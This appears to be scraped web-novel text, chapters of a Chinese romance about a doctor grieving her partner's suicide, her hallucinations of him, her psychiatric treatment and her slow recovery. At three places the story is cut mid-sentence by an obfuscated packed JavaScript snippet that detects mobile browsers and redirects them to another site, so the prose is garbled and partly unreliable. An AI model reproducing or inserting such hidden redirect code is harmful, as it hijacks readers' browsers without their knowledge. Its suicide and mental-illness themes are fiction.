这场梦不知道持续了多久,呼延醒来的时候,感觉自己的四肢冰凉僵硬,仿佛倒吊在冰窟里睡了一整个冬天。 她抬了三次,才将沉重的眼皮抬起来。 一道颀长的身影在她眼前慢慢清晰。 “……吴措?”她不确定地眨了眨眼皮,“还是,我的幻觉?” “是我,我回来了。”吴措微微俯身,他蹙眉轻望着她,不忍心张口说话,“你怎么把自己弄成这样了。” 呼延垂眼看了看自己被用绷带绑住的手腕,抬了抬唇角,“我不知道。” 她又看向吴措,半晌后,说:“他们说,我生病了。” 吴措喉结艰难滚动了一下,他的五指在身后默默紧了紧,对着呼延点了下头。 “嗯,我知道。我去帮你找医生了,全国最好的精神科医生。” “呼延,我们治病吧。” 42. 呼延 [呼延] 我觉得我并没有那么爱陆离。 关于他过去的人生,我了解得甚少。 我不知道他上的哪所小学,读的哪所高中,也不知道他父母的职业,他和他父母的关系如何,更不知道他在一步步走到我面前之前,吃过多少苦。 用我妈的话来说,我的人生过得太顺风顺水了,不懂人间疾苦是何物。 我不懂有些人的学费是要靠一天做三份兼职来支撑的,不懂馒头就着免费的汤和咸菜吃三个月是什么滋味。 在正式进医院实习前,也不懂原来1000块对于很多人来说,可以是拿不出来的救命钱。 我家并不是什么富裕人家,但我妈,宋殊女士,也许是出于对给了我单亲家庭身份的愧疚,把我保护得特别好,能给我的她全部不吝付出。 大事小事都给我安排得事无巨细,我上高中的时候就有我妈的副卡,不谈什么奢侈品、珠宝包包,她至少从来没让我在钱上吃过亏。 所以后来和陆离在一起后,我问过一个特别蠢的问题。 “赚那么多钱干嘛?钱是赚不完的,开心最重要!” 我不知道那个时候陆离刚把自己的一大半积蓄寄给父母还债,他没告诉我他有一对和他关系很一般、相当一般的父母。 他想把这笔钱寄去,想要还了父母的养育之恩,然后再慢慢攒钱,和我开始新生活。 我劝陆离离职的时候,他的卡里还有不到五万块钱,这在北城买不到一个马桶大小的厕所。 但我当时很乐观,因为,开心最重要嘛。 而陆离也从未和我哭过穷,他从不在钱上亏待我,每个节日我都会收到他用心准备的礼物,他会亲自给我做饭,也会带我去吃我在小红书随手点赞的人均一千的餐厅。 我也提出过担忧,这样下去是不是马上就要国库告急了? 他会微笑着吻我的额头,说没关系,钱总是能赚出来的,你开心最重要。 我在回溯这段记忆的时候,反复推导陆离的生病和我劝他离职有没有关系、有多大的关系,是不是因为钱的问题,有了钱是不是就没有问题了。 后来在反复的回顾中我发现,我的顾虑太浅了。 陆离在离职前,就已经表现出了严重的抑郁症病征。 他的失眠、记忆力下降、频繁的呕吐…… 他是意识到了这一点,所以才选择了离职。 可当时我并没有认识到这一点。作为一名医生,我并没有意识到,我近在咫尺的每天生活在一起的爱人患上了严重的抑郁症。 所以我并没有那么爱陆离。 我习惯了被他照顾,被他体谅,习惯了从他这里索取,就像从我妈那里索取一样。 和陆离在一起的时候,我只顾着快乐,我每天都很快乐。 那时候真的好快乐,我和陆离一起去看演唱会、去旅行,我仰头望着天空,望着白天的太阳和夜晚的星空。 我觉得上天眷顾我,觉得整个世界都在保护我,觉得宇宙都在听我指挥。 我要求陆离在我开心的时候陪着我,在我不怎么开心的时候也要陪着我。 我所有的合理的、不合理的要求他都甘之如饴地应允。他会在我加班的时候给我送夜宵,会在冬天把我的手放进他的口袋里取暖,会在我的经期给我洗衣服洗头…… 而当陆离最需要我陪他的时候,最需要我注意到他变化的时候,我在忙碌着我的实习和我的学业。 我在每天挤出时间的视频电话里,和陆离讲今天遇到了哪些可怜的病人,讲我把一个板着脸的爷爷逗笑了,讲我最近才发现,世人皆苦呐。 我说:“你知道吗?陆离。原来对于很多人来说,单单只是活着就已经很难了。” 他说:“我知道。” 我没有把这句回答的意义放在心上,只以为是他的习惯性附和,仍旧侃侃而谈。 “今天有个患了脑癌的病人,他半夜头疼醒了在病床上呻/吟,结果他第一次过来陪床的儿子,嫌他吵抽了皮带就开始打他。你说人怎么能坏成这样呢?还有这么不心疼父母的儿子!” 陆离说:“也多的是不爱儿子的父母。” 我赞同他的话,并自顾自又讲述了一个儿科的悲剧故事。 我在那个时候没有意识到,陆离当时笑得特别勉强。 他的嘴角翘起得僵硬,他的精神和肉/体都已经非常疲惫了,还要配合我的演讲做出适当的表情。 所以我并没有那么爱陆离。 在陆离住院前夕,我甚至和他吵了一架。 我加了一周的夜班,用一个月早餐和同事换了一天的调班,终于挤出三天的假期,我兴奋地告诉陆离这个好消息,并且计划要和他一起去某个以前没去过的城市旅行。 陆离第一次拒绝了我,他说他最近很忙,不能陪我。 这几乎是他第一次拒绝我。 我竟然没有察觉到什么不对。 我听完只是很不解,他当时刚刚辞职,在做自由摄影师,哪里来的忙事。 我对他发脾气,他说让我不要再闹了,我一气之下挂断了电话。 在已知的结局下去倒退就会很容易发现,这次吵架也是陆离的蓄谋已久。 他是想在住院前和我分手,以免自己出现意外以后我过于痛苦无法接受。 但在他独自前往精神病院的前一天,他还是跑过来找我和了好。他买了礼物和鲜花送给我,请求我的原谅,而我也很大度地让他如愿以偿。 我没有那么爱陆离,陆离却是爱我的。 他后来也想明白过来,我一定不会如此善罢甘休的。如果他真的出了意外,就算是把所有痕迹删除,我也会把地球翻个底朝天找出真相。 但吵架后的去世,这种遗憾对我来说太残忍了。 所以陆离在住院前特意和我和解,他说让我等他一个月,一个月后他会以新的面貌出现在我面前。 我没有想到我等来的,是陆离的死讯。 通知电话是精神病院打来的,陆离把我填成了他的紧急联系人,我成了第一个,除了医院的人外,知道他死讯的人。 但电话打过来的时候,我正在忙着录入一堆病例文档,三小时后才把电话打回去。 如果人死后灵魂会在人间停留,那么在这三小时里,陆离漂浮在冰冷的停尸房里,会想些什么。 想我为什么没赶过来?什么时候赶过来? 不会,他只会想,真真一会儿看到自己,会不会哭,会不会害怕,他已经抱不到我了。 医院停尸房的走廊很狭窄,但很长,我走了很久才走到陆离的那一间。 门口是白色的铁门,门把手的位置掉了一块漆,露出里面发锈的铁色,在走进房间前,我的手在上面用力搓了一下。铁锈的味道融进了我的手指。 我走进房间,房间内空间很小,一张简易的铁皮床上放着一块白布,能从这层白布凸起的轮廓里,看到底下躺了一个人。 “你是死者唯一的紧急联系人,确认一下死者身份吧。你和他的关系是什么?” 旁边穿着白色工作服的员工说着,揭开了那块盖着的白布。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14704082|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这绝对不是陆离的样子。 眼前躺着的人皮肤是一种冰冷的灰白色,嘴唇泛紫,脸上带着异样的安静感。 陆离不是这样的,他总是微笑,无论什么时候都是温柔的微笑,他的手是温暖的,在我喊冷的时候永远会握住我的手给我取暖。 “不是。” “什么?”工作人员正在做记录,他停下来抬头看着我。 “这不是陆离,”我平静地说,“抱歉,我要走了。” 我回了陆离租住的公寓,他的房间里整齐得完全没有整理的余地,我在他的床上躺了一会儿,然后起身整理好被我弄皱的床单,用他的手机联系了他的家人。 他的遗体是他的家人去领的。 我没有见过他的家人,从始至终。 我也没有流眼泪,我是个挺爱哭的人,看个老电影都会从头哭到尾的那种,但陆离死后,我一直没哭。 所以我根本不爱陆离。 我只从陆离的家里带走了那只我和他一起养的猫,我并不是一个喜欢养猫养狗的人,因为猫狗的寿命太短,这意味着,只要不出意外,我的人生中一定会面临一次和它们的离别。 我最讨厌离别了。 所以我也没那么喜欢夜宵。 当然,夜宵也不喜欢我。 当初和陆离一起把它带回家的时候,夜宵就像一只十分势利眼的舔狗,它似乎意识到讨好陆离会有更好的待遇,所以总是对我很冷淡,简直爱答不理,甚至有时候急了还会咬上我一口。 但我带走它的那天,它出乎意料地配合,乖顺地钻进了我临时买的猫包里,跟着我回了家。 接夜宵回家后,我逐渐忘记了陆离去世的事情,生活似乎没什么变化,我每天按时上下班,吃饭、喝水、睡觉、起床。 只是我开始在意一些微不足道的小事。 我有一次因为猫粮的生产日期印缺了一半,向厂家在官网的邮箱里写了500字的投诉信。 我开始着力于把苹果削成一个完美的球形,丁点儿瑕疵都会让我感到烦躁,然而因为技术限制,削到最后,只剩下了一圈的苹果核。 我去了那家我吐槽了好几次的、装饰文艺得不着边际、美式超级难喝的咖啡馆。 那里的卡布奇诺26元一杯,如果再要一杯美式可以享半价,我记得很清楚。 在喝第二杯美式时,我的嘴唇有些发涩,我把剩余的美式倒进卡布奇诺的奶泡里。 就像陆离之前的处理一样。 倒进去的一刻,眼泪忽然从我的眼角流了下来,声音也从我口中发出:“陆离走了。” 眼泪一旦流出就开始决堤,像流线一样掉进无盖的咖啡里,我控制不住地抱着那杯咸苦的咖啡,不停地哭,哭到没有知觉。 而在这时,在我旁边坐着的,是一个陌生人, 但她没有皱眉,没有走开,也没有因为觉得我有病而报警,只是向我递了个纸巾,没有说话。 后来我知道,这个陌生女该叫封筝,她外婆阿尔兹海默症走失两天刚被警察送回来。 你看,这世上不如意的人有太多,每天都有人悲伤。 这是每个人都该遭遇的报应。 我曾坏心折过不少春枝绿叶,逗路边的野猫不带回家,罔顾陆离的爱不去珍惜,我辜负了那么那么多美好。 所以老天惩罚我,让我在最烂漫的那个春天,永远失去了他。 喝完那两杯咖啡,我回到家里狠狠睡了一觉。 再醒来的时候,陆离站在我的床边冲我微笑。 “早,真真。” 43. 结局上 “张嘴巴。”护士俯身对呼延说道。 呼延迟缓地转过脸来,看着护士的眼睛停留了几秒,微微张开嘴巴。 “嘴巴张大点哦,不然我要用工具咯。”护士用哄小孩的语气耐心和呼延说话。 呼延抬起手,扯开自己的两片嘴唇,翻弄着展示给护士:“吃、了。” 这一看就是抵触情绪的动作,护士也见怪不怪了,她摇头叹了口气,“如果你上次没有偷偷藏药,我们就不用检查得这么仔细啦!要乖乖吃药,病才会好得更快,知道吗?” 呼延点头,因为药物的作用,她的身体机能逐渐减弱,说不出长段的话,站不起来,没有力气。 护士走的时候,呼延忽然叫住她,“我要,见我妈妈。” 下午,宋殊来到了呼延的病房,同时她带来了另外一个人,妙妙。 呼延的眼睛动了两下,才将眼前的人和妙妙的名字对应上。 “妙妙。”她缓慢地叫出她的名字。 妙妙走向她,坐到呼延的床边,手牵起她的手,“没有好好吃饭吗?怎么瘦成这样了。” 叠着话音,一行眼泪顺着脸颊就流了下来,妙妙咬着颤抖的嘴唇,抬手抚摸呼延瘦得凹进去的脸颊,“怎么这么瘦……” “吃,不下。” “慢慢来,我们慢慢来,会好的。” 呼延点头,“妙妙,你原谅我了?” 当初陈文德是呼延招进来的,而后妙妙因为陈文德的报道抑郁症加重,离开后再也没有联系过呼延,呼延这么多年以来一直很愧疚,她觉得是自己害了妙妙。 “我从来没有怪过你。”妙妙握着呼延的手。 “我当初走,不是因为我的病,”妙妙顿了顿,“是因为你。” “我?” 妙妙看了眼身后站着的宋殊,宋殊点点头,她继续道:“我有一次看到你对着空气说话,去找宋院长问,她告诉了我你的病情。我实在不忍心看你这样下去,我不知道院长每天是什么心情面对你的,但我忍受不了,我看不下去你这么折磨自己的样子。” “我知道我待下去肯定会忍不住说出来,我肯定会的。”妙妙说,“可是我怕你会更痛苦,我不想看到那样的你。” “呼延,”妙妙心疼地看着呼延,看着她那么灵动的一张脸丧失了活力,“我们好好治病好吗?” 呼延默了片刻,她张开嘴巴,嘴唇动了好几次才发出几个音节,“我,真的,生病了吗?” 她抬头看向宋殊,“妈。” 宋殊腮帮咬紧,咽下哽咽,开口:“真真,你要自己认识到你生病了,治疗才能推动下去,你知道的。” 妙妙:“陆离一定也不想看着你这样的。” 呼延缓缓转过头,陆离站在窗边温和地看着她。 这双眼睛那么熟悉,这张脸这么清晰,怎么会是她想象出来的呢。 “真真,听医生的话乖乖吃药,不要再藏药了。”宋殊走近,蹲在她的床前仰面看着她,“我知道你不吃药是想见到陆离,但这些是假的,你知道,对吗?” “不是。”呼延摇头,她的心脏开始一点点崩塌陷落,“我不知道,他就在那里,我怎么能知道,他是假的。” …… 吴措是在第五天来的,也可以说,是呼延终于在住院的第五天想起了他。 吴措以为自己已经做好了心理准备,但在看到呼延的一刻,他几乎感到全身的血液瞬间倒流。 呼延的皮肤白得不成样子,嘴唇没有血色,头发随意地散在肩上,她坐在铺着白色床单的床头,双眼无神地盯着窗边的某个点。 在吴措进门的时候,她缓慢转向他,拾起了一抹笑。 “吴,”她费力地吐出第二个字,“措。” 吴措走近,他听医生说昨天呼延的用药量调高了一些,因为她忽然开始对着窗户大哭,口中喊着陆离的名字。 “医生说你这个月就能出院,就快过去了。”他在她旁边坐下,“医生是我之前在索马里认识的朋友,他治疗这类疾病很擅长,没事的,会好的。” 呼延露出一个干巴巴的笑,“不用,骗我。我知道,精神分裂,无法,痊愈。” “不是百分百。”吴措说,“你可是呼延真,什么时候对自己这么没有信心了。” 呼延抬起胳膊,松松握着拳头,向吴措的肩膀杵了一下。 “我现在,这个样子,你可以大胆嘲笑我了。” 吴措静默片刻,看着呼延:“我不会嘲笑你。我会和你一起把病治好,我带你回小院,秋千没有你坐,已经落了一层树叶了。” “你,不打扫。” “你都不坐了,我打扫来干嘛。” “你就是,假精致。”呼延吐槽他。 “呼延医生教训的是。”吴措听从。 一阵飞鸟从窗边飞过,分散了呼延的片刻注意力,她将视线移向窗台,停留片刻后,又转回看着吴措。 “吴措,你带我去找陆离吧。” 她看着站在吴措身后的陆离说。 “带我去找陆离。既然你们说他是假的,那我,要看看真的陆离。” - 和医生以及宋殊协商确认后,最终离院一日的申请得到了批准。 一周后,吴措带着呼延去了陆离老家。 陆离的老家在十分偏北的北方村镇,他们去之前,刚下完一场很大的雪,路面、房顶被厚厚的雪覆盖着,车子在雪地上印出很深的辙痕。 呼延的身体机能在疗程的中后期渐渐恢复,她能进行正常的对话,只是身体还是有些虚弱,吴措借了一把轮椅,从后备箱拿出来,让呼延坐在上面。 陆离的坟墓建在村外的一个低矮的山坡上,那里汇集了整个村庄几百年来新新旧旧的灵魂。 乡间山路不好走,呼延坐在轮椅上,身体随着颠簸晃动着。 “其实我可以自己走路。”她说。 吴措抬起轮椅的轱辘,帮她越过了一道明显的坑。 “嗯。”吴措说。 她没下来,他也没让她下来。 “这是我第一次来陆离的老家。”呼延的手藏在羽绒服的袖口里,她太久没有离开南方,已经不记得冬天是可以这么冷的了。 “以前我和陆离说过想要看看他的老家,他说我不会喜欢的。陆离说,这里的冬天很冷,房间的窗户用塑料封两层还是会漏进去风,他小时候每到冬天手都会冻伤,长一块块的冻疮,冻疮化脓,脓会开裂,然后自己愈合,结痂了以后,一到暖和的地方就开始痒,他小时候控制不住去挠,然后伤口就会再次裂开。” 她把手从袖口里拿出,感受着寒冷一点点侵入骨髓,她不知道要像这样冷多久,才会出现陆离说的冻疮,她见过陆离手上的疤,十根手指的指节,只有两根大拇指是完好的。 他肯定冷了很久。 “陆离很少和我提他的家人,但我知道他们对他不好。我听到几次他打电话,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711954|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和他要钱,陆离赚钱那么辛苦,他们不关心他,只和他要钱。” “如果陆离是一个恶人,他就可以彻底断了和他们的联系,在他靠着自己的努力走出这个小山村以后,完完全全抛弃掉他以前的人生。” “可是他不是,他是陆离。” 呼延的手冻得僵硬,她微微蜷曲了下手指,仿佛听见了指节发出像脚下踩雪一样的咯吱声。 “吴措。”呼延忽然叫了声他的名字,吴措应声,呼延说:“如果陆离真的死了,他的父母会怎么对待他的遗体。” 吴措默声,对于陆离的父母来说,比起老年丧子之痛,也许更多的是,觉得自己多年的所谓投资打了水漂。 他们大概觉得陆离太过狠心恶毒,还没有完全满足他们要求的回报时就自顾自死了,所以他们对他的陵墓如此不用心。 “他们会好好对他吗?有定期去看他吗?会给他扫掉墓碑上的雪吗?会拔掉坟上长出的杂草吗?” 两种思想在呼延的脑海里挣扎。一方面她无法想象他们所说的陆离已经死了的事实。一方面,她又的确知道她现在脚下的这条路的终点是陆离的坟墓,她的呼吸开始随着思绪凌乱,焦虑感不停攻击着她的大脑。 “会的。天下的父母没有不心疼自己的孩子的,陆离的坟墓一定是干干净净,”吴措说。 他推着轮椅停了下来,“我们到了。” 在众多新的旧的、坐落错乱的坟墓里,呼延一眼就看到了陆离的那座。 它的墓碑崭新无尘,仿佛在前一天刚被擦过,墓碑后的土坟上没有一棵杂草,碑前放着一些还未烧尽的纸钱,和一些水果点心,都是陆离爱吃的。 唯一覆盖在上面的,只有一些新雪,呼延抬手拂去那层盖住的雪。 她的视线落在墓碑上的刻字。 “长子陆离之墓。” 陆离、陆离…… 她从轮椅上起身,走近抚摸着这行短短的刻字,感受着文字的凸起和凹陷,然后身体紧贴着墓碑,慢慢蹲了下去。 石碑被冰雪冻了一夜又一夜,冷得如同冰块,但呼延毫无知觉,她的手一遍一遍描刻着墓碑上的文字,似乎在和自己的身体做反复的确认。 “吴措,为什么我没有想哭的感觉。”她抬起眼皮,看着站在墓前的吴措。 吴措怔住片刻,他说:“你还是不觉得这是他是么。” 呼延转过脸,继续看着眼前这块冰冷的石碑。 这块墓碑太简单了,只有一行简陋的字,没有照片,没有墓志铭,除了冰冷的名字相同外,没有东西可以让她确认这就是她的陆离。 或许这是谁的恶作剧,或许是有人恰好的重名,或许,这又是呼延一场漫长的梦。 “呼延,还记得吗?” 吴措的话将她从自己的思绪中拉扯出来,呼延怔怔抬头。 “死亡不是终点,遗忘才是。” 他走到她面前蹲下,视线与她平齐,呼延能感觉到吴措身上的热气笼罩了过来。 “你如果忘记他的死亡,那他就真的彻底离开了。” 他们走了。 下山的路呼延没有让吴措再推她,她缓慢地走在这条没有路的山坡地面上。 冷风依旧萧瑟,太阳无力地穿过层层厚云,天地间是白茫茫一片,似乎春天永远不会到来。 呼延的脚踩在雪地上,地面咯吱咯吱地响,风吹过,远处传来扑簌簌雪落下的声音,她停下来回头,尽头空无一人。 44. 结局下 从陆离老家回来后,呼延的病征减轻了许多,她配合吃药、治疗,见到陆离的次数越来越少。 一周后经过医院的检查和测试,呼延被宋殊接回了小院做后续的康复疗养。 呼延没有住回她以前的房间,宋殊带她住进了C栋三楼的那间空房里。 房间的布置和那层楼的其他房间一样,空间里没有一件尖锐的东西,窗户最多只能打开到一个手掌那么宽,她站在窗前,可以看到小院的一切。 那张秋千一直没有人再去坐,但上面也没有再盖住落叶,每当有叶子落上去的时候,都会有人把它打扫干净。有时候是封筝,有时候是宋殊,有时候是吴措。 小黄豆每天都会来,向晚星在临走前把剩余的画纸和颜料笔都送给了小黄豆,小黄豆拿着画纸到呼延的房间,坐下就开始画画,也不说话,一画就是半天,直到吃饭的时候,再收拾好画纸离开。 呼延就坐在他旁边看小黄豆画画,小黄豆的画画天赋没有他的记忆力那么好,他画了几个月,还是只会画火柴人。 呼延有一次说,不然我教你画吧,我虽然没有星星厉害,但还是能画点花草树木的。 小黄豆淡淡看了她一眼,继续低头画自己的火柴人。 吴措没有再做小院的志愿者,应该说,他没有再签志愿者的合同,他的时间自由起来。 他仍旧住在小院里,以租住的方式。 吴措回到了自己之前的工作节奏,每日出门采访、调查,但始终在枥城附近的城市。他晚上会回到小院,去呼延的门口站一下,偶尔会进去和她聊几句。 时间过得很快,春去秋来,又到了一个新的冬天。 “你说今年的冬天会下雪吗?” 在吴措准备走时,呼延忽然开口。 吴措说:“可能会吧。” “真的?” “这个冬天比往年都冷,正月会有一波寒潮,可能雪会在那个时候下。” 呼延盘腿坐在床上,说:“我这次一定要下去淋雪,你一定要把我叫醒。” 吴措说:“好。” 吴措走后,呼延慢慢走到窗前,给那扇窗户开了一道很小的缝隙,冷风从外面灌了进来。 她触摸着窗台的温度,感觉今年可能真的会下雪。 “墓碑上你离开的时间是在春天。”呼延偏偏头,对着身边的人说。 陆离抬唇,对她点了点头。 “枥城的一年四季都是春天。”她说,“我在这里已经看了很多的春天了。” 陆离安静地看着她。 “陆离,等我们一起种的桃花树开了花,我就去找医生,用催眠疗法忘记你了。” 陆离没有说话,他抬手抚摸着呼延的下巴,抚摸着她的脸颊,抚摸掉她落下的温热的泪。 “我知道我生病了,可是我就是能看到你,我还是觉得你是真的,怎么办呢。” “可是我不应该让这么多人为我担心,整天围着我转。我妈为了我,辞了她努力了半生的事业,小黄豆每天都要来确认我没有发病,吴措,他也不应该被困在这个小院子里。” 陆离望着她,轻轻摇了摇头,“没关系。” “对不起。”她将头抵在陆离的胸前,抽泣地颤抖着。 “没关系,真真,没关系。” 陆离将她拥在怀里,他的胳膊轻拍着她的背后,缓慢地,一下又一下,像哄睡婴儿的母亲,温柔地、耐心地,轻拍着。 呼延在陆离的怀中睡着,一夜无梦。 醒来的时候,她看到房门的玻璃上趴着一双看进来的眼睛,在看到她睁眼后,脑袋立马缩回跑开了。 呼延从床上下来,快步走到门口,打开房门对着走廊喊:“王小果,站住。” 王小果脖子一缩,双脚忽地被钉在原地。 他没想到呼延的房门没有上锁,竟然是可以打开的。王小果僵硬转过身来。 “过来。”呼延冲他招招手。 王小果夹着两只胳膊,一步一挪地走回呼延房前。 “你跑什么?”呼延用手摸了下王小果的脑袋,将他新剪的头发弄乱了,王小果也不敢提出异议。 “我有、有事。”王小果结巴道。 “什么事?” “我要……”王小果干巴巴咽了口唾沫,眼睛骨碌一转,说:“我要回去写作业了。” 呼延笑了下,“这次这么听话呢,还没到开学,就准备写寒假作业了?” “新班主任很凶,就和你一样……”话说到一半,王小果停住了,他不安地抬头看向呼延。 呼延眯起眼睛,冲他做了个佯怒的表情,“嗯?我凶吗?” “救命啊,疯子——”王小果尖叫着撒腿跑开,喊叫声在走廊里回荡。 “疯子。”呼延重复了一遍这两个字,无声地笑了。 叫喊声吵醒了隔壁的老张,张清弛从房间里推门出来,看到呼延走出房门,有些惊讶:“准备出门了?” 呼延一直可以出门,宋殊没有限制她的人身自由。 就像她当初没有选择把呼延放在精神科治疗,而是花了大价钱买下这间院子,又各种筹备资质开了桃花小院一样。 对于宋殊来说,无论生病还是健康的呼延,最重要的是要开心。 她不愿意把呼延困在那一间小小的格子里,她宁愿每天守着她、看着她,去研究治病的药理,给呼延最大自由下的最佳保护。 小黄豆每天来一个上午,吴措每天过来看她一眼,而宋殊的每个日夜,都在盯着呼延的这间小屋。 呼延知道,所以她一直没有出去。 她知道自己的每一寸风吹草动,都会让宋殊揪一下心,可她已经这么辛苦了。 “是啊,准备出门了。”呼延说。 这次不一样。 她准备往前迈一步了。 呼延下楼碰到的第一个人是封筝,她正拿着一打材料准备往哪送,看到呼延后先是愣了一下,而后惊喜道:“呼延,你出来了!” 呼延顺手帮她拿了一半材料,说:“干嘛呀,说的像是我进去了似的。” “不是,你怎么,”封筝有些混乱,“算了,不重要,你肯出来就好。晒晒太阳,对心情好。” “是啊。”呼延说。 “那个秋千啊,你不躺都没人躺。”封筝抬了抬下巴指向院子里的秋千,“正好,你要想在那上面晒太阳,我让八哥把桃花树枝砍一些,今年这树不知道怎么了,到了冬天反倒开始长叶子了。” “不要。”呼延阻止,“就让它长吧,希望明年春天可以开花。” “你不知道吗?”封筝停下来,“今年树上长出了两个骨朵,用不着明年春天,过年前就能开出来。” “真的?”呼延愣了下,她把半打材料重新放回封筝手上,“你先自己去送吧,我去看看。” 呼延走向那两棵桃花树,步子很慢,她的心脏砰砰直跳,眼睛不受控制地快眨了几下。 她走到桃花树前,在左边的那棵树的树梢上,看到了两个极小的花骨朵。 如果不仔细看,根本无法留意到,这两个花骨朵太小了,太脆弱了,它们长在一节细枝的梢头,随风晃着,似乎随时都可能坠落下来。 呼延不知道该用什么语言来形容自己现在的心情。 五年了,也是她来小院的第四年了。 这两棵桃树在这里伫立了一千多个日夜,刚好在今天,在她眼前,露出了要开花的迹象。 她顺着这两个花骨朵向里侧看过去,呼吸倏地停住一瞬,眼泪紧接着落了下来。 花骨朵延伸向里的树干尽头,挂着那个书签,上面写着:H&L。 “陆离,是你吗?”她的手伸向花骨朵,轻碰了下,又将手收了回去。 太阳从云后露出,日光照在她的身上,呼延站在桃花树下,默声哭了许久。 宋殊在她的房间向外看着,她看到呼延的肩膀抖动,看到她任由自己的眼泪肆无忌惮淌落不去擦拭。 她看着呼延表情悲伤,又忽然破涕笑出,她看着呼延最后擦掉了自己眼泪,像是和谁做好了约定,点了点头,转身离开了那棵桃花树。 呼延转身的时候,看到了站在窗前的宋殊,她冲她挤出个难看的笑脸,喊了一声:“妈。” 宋殊的眼泪落了下来。 她好像有种感觉,她的女儿,终于要回来了。 …… 吴措不在,呼延找封筝问过,吴措早上去隔壁镇的几家非遗刺绣传人那里做采访,不知道什么时候回来。 呼延不确定自己要不要给他发条消息,发的话要说什么,好像说什么都有点突兀。 所以她点开吴措的头像,只打了几个字过去:什么时候回? 有些话,还是见面说比较好。 吴措采访不看手机,大概要等一会儿才能回她的消息。 呼延没有坐在那里干等,她准备给自己找点事做。 在C栋住着的将近一年的时间里,她把从前宋殊试图教她,但她每次都偷懒不认真学的药方背完了。 呼延打算去宋殊的中药柜,自己配几幅药实践一下。 她往药房的方向走,忽然一个神色匆忙、一步一回头的小个子撞到了她的身上。 “王小果?”呼延一把抓住准备开溜的王小果的脖领,“又干什么坏事了?” “我、没有!”王小果挣扎撕扯自己的衣领,冲呼延龇牙,“你放开我!” “一脸心虚的样子,不说实话我就咬你,咬一下你也变成疯子了。” 呼延作势要咬王小果,王小果吓得脚下乱踢,哇哇叫出声来,“救命救命!不要咬我!你这个疯子!妈妈!” “你妈没空管你,”呼延另一只手制住王小果乱甩的胳膊,“快点说,我给你三秒钟,1、2——” “啊啊啊我说我说!”王小果哭得鼻涕流到嘴巴,又一下子吸溜回去,他抽抽搭搭地说:“我、我把小黄豆的鸟扔到河里去了。” “你——!” 呼延气得说不出话来。 小鸟是吴措送小黄豆的礼物,一只绿毛和尚鹦鹉,小黄豆一直很宝贵这只鹦鹉,他每天教鹦鹉说话,自己的口条也跟着流利了不少。 “你干嘛扔别人的鹦鹉!”呼延真想把王小果揍一顿。 “谁让他那只臭鸟骂人!”王小果还觉得自己委屈,“它让我‘滚蛋’,我就让它滚蛋!” “你……”呼延知道和王小果说下去也没什么成果,她现在担心的是小黄豆。 他这么宝贵这只鹦鹉,如果知道了,很有可能会犯病。 “小黄豆呢?小黄豆知道吗?” “我当然是当着他的面扔的。”王小果说。 “在哪!” “就那一条河。” 呼延扔下王小果,急匆匆向河边跑过去。 王小果在后面喊了句:“河面结冰了,我绑绳子扔冰面上了,根本就没事,大惊小怪。” 说完气哼哼跑去找他妈告状去了。 呼延在河边找到了小黄豆,他捂着耳朵蹲在结冰的冰面上,一动不动。 就在他身前,绿色的鹦鹉翻仰躺着,脚上绑着连接绳子的石头,看样子已经失去生命体征了。 “小黄豆。” 呼延叫了声小黄豆的名字,但没有得到任何回应。 她试探着伸脚踩了下冰面,枥城往年最冷的时候,只有在凌晨才会在静止的河面结一层很薄的冰,虽然这冰看起来有一定的厚度,但呼延对于冰面的承载能力并没有把握。 小黄豆蹲在冰面上,他的裤脚下露出一小节脚腕,已经冻得发紫。 呼延攥了攥拳头,将一整只脚踩在了冰面上。 还好,没有要碎的迹象。 她又挪动着脚步向前伸过去,试图用单脚撑着,将蹲在河中央的小黄豆够过来。 但她高估了自己腿的长度,也低估了和小黄豆的距离,她几乎要将两条腿完全劈开,距离小黄豆的胳膊还差一只手的距离。 呼延闭了闭眼睛,她调整着自己的呼吸,而后一咬牙,倾身伸手猛地向前一抓,手指勾住了小黄豆的胳膊。 “小黄豆,和姐姐去——” 话未说完,耳边传到一道微弱的“咔嚓”声。 呼延感觉到脚下陷了一寸,她意识到情况不对,来不及思考,用力抓住小黄豆的胳膊,将他整个人向着河岸甩过去。 冰面湿滑,小黄豆被拉扯着摔倒,反倒增加了受力面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711955|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 积,在冰面上划了一个弧度后扑在了河边的干草上。 而呼延,因为脚下的用力,裂纹瞬间以她为中心迅速蔓延开。下一秒,冰面突然塌陷,她整个人瞬间失去平衡,身体直直地往下坠去。 “扑通——” 刺骨的冰水像一张巨网将她一把拖入深渊,寒冷瞬间攫住全身,像无数细针扎入皮肤,连呼吸都被冻住了。 